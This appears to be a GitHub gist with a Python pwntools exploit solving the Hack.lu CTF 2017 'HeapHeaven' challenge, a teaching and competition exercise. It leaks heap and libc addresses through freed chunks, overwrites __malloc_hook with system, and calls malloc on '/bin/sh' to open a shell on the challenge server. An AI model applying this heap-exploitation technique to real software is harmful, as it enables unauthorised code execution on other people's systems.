Created
October 20, 2017 15:10
-
-
Save n30m1nd/132559f3b34d60a7e4afbd9421c94fe6 to your computer and use it in GitHub Desktop.
Hack.lu 2017 - HeapHeaven write-up
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Hack.lu CTF 2017 - HeapHeaven solution by n30m1nd | |
# Challenge by FluxFingers - https://flatearth.fluxfingers.net/ | |
from pwn import * | |
from sys import * | |
from struct import * | |
def translate_baby(size): | |
wiwa = "" | |
for bit in ("%s" % "{0:b}".format(size)): | |
if bit == "1": | |
wiwa += "wi" | |
else: | |
wiwa += "wa" | |
return ("%s" % (wiwa+"0"*(254-len(wiwa)))) | |
def allocate_chunk(size, io): | |
babysize = translate_baby(size) | |
print("[+] whaa!") | |
io.sendline("whaa!") | |
print(io.recvuntil("I'll prepare your happa happa, darling...")) | |
io.sendline(babysize) | |
if size > 0xffffff: | |
print("[+] Popping shell!!!") | |
io.interactive() | |
print(io.recvuntil("NOM-NOM")) | |
def read_from(offset, io): | |
size = translate_baby(offset) | |
print("[+] mommy?") | |
io.sendline("mommy?") | |
io.sendline(size) | |
recv_line = io.recvline_regex(r"See what we have here, darling:") | |
# Sanitize and unpack leaked_address | |
leaked_address = re.findall("darling: (.*)", recv_line)[0] | |
leaked_address = leaked_address + ("\x00"*(8-len(leaked_address))) | |
leaked_address = unpack("<Q", leaked_address)[0] | |
print (io.recvuntil("NOM-NOM")) | |
return leaked_address | |
def free_chunk(offset, io): | |
size = translate_baby(offset) # should have tried inheritance... | |
print("[+] NOM-NOM") | |
io.sendline("NOM-NOM") | |
print("[+] Freeing: Offset %#x" % offset ) | |
io.sendline(size) | |
print(io.recvuntil("NOM-NOM")) | |
def write_to(offset, io, buff): | |
size = translate_baby(offset) # should have tried inheritance... | |
print("[+] <spill>") | |
io.sendline("<spill>") | |
print(io.recvline()) | |
io.sendline(size) | |
print(io.recvuntil("Look at this mess, darling!")) | |
io.sendline(buff) | |
if __name__ == "__main__": | |
io = remote("flatearth.fluxfingers.net", 1743) | |
#io = process("./HeapHeaven") | |
""" | |
io = gdb.debug("./HeapHeaven", ''' | |
b main | |
b spill | |
''') | |
#""" | |
# Receive first menu | |
print(io.recvuntil("NOM-NOM")) | |
# Alocate four chunks so we can avoid coalescing chunks and leak: | |
# * Pointer to chunk2 | |
# * Pointer to main_arena+88 (av->top) | |
allocate_chunk(0x128, io) | |
allocate_chunk(0x128, io) | |
allocate_chunk(0x128, io) | |
allocate_chunk(0x128, io) | |
# Now free chunks 2 and 4 in that order so we can access their FD | |
# The first free'd chunk's FD will point to main_arena->top | |
# The second free'd chunk's FD will point to the second chunk | |
free_chunk(0x20, io) | |
free_chunk(0x280, io) | |
# Read the FD pointers and store them to calculate offsets to libc | |
main_arena_leak = read_from(0x20, io) | |
print("[+] Main_arena: %#x" % main_arena_leak) | |
heap_2nd_chunk = read_from(0x280, io) | |
print("[+] 2nd chunk: %#x" % heap_2nd_chunk) | |
# Offset calculation | |
happa_at = heap_2nd_chunk - 0x10 | |
malloc_hook_at = main_arena_leak - 0x68 | |
malloc_hook_offset = malloc_hook_at - happa_at | |
libc_system = malloc_hook_at - 0x37f780 | |
print ("happa %#x mhook %#x mhook_offset %#x libc_system %#x" | |
% (happa_at, malloc_hook_at, malloc_hook_offset, libc_system)) | |
# Write the address of system at __malloc_hook | |
write_to(malloc_hook_offset, io, p64(libc_system)) | |
# write /bin/sh to the first chunk (pointed by happa_at) | |
write_to(0x0, io, "/bin/sh\x00") | |
# Call malloc and feed it the argument of /bin/sh which is at happa_at | |
# This will trigger __malloc_hook((char*)"/bin/sh") and give us shell :) | |
allocate_chunk(happa_at, io) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment